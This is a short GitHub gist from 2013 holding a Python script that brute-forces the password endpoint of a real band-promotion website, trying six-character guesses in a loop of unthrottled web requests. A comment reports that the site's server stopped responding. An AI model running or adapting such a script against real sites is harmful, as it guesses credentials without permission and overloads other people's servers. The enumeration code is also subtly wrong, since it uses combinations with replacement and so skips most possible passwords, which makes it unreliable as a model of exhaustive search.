Created
April 29, 2013 23:04
-
-
Save mekza/5485523 to your computer and use it in GitHub Desktop.
Bruteforce on Board of Canada's landing page (http://cosecha-transmisiones.com/ & http://cosecha-transmisiones.com/terminal.js)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# -*- coding:utf-8 -*- | |
import itertools | |
import requests | |
import json | |
characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' | |
password_length = 6 | |
gen = itertools.combinations_with_replacement(characters,password_length) | |
for password in gen: | |
pwd = ''.join(password) | |
url = 'http://cosecha-transmisiones.com/password.php?attempt=%s' % pwd | |
r = requests.get(url) | |
if r.status_code == requests.codes.ok: | |
data = json.loads(r.text) | |
if data['error'] is not True: | |
print data['url'],pwd |
Their server gave up handling requests by G or so.. d'oh!
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Here's my attempt: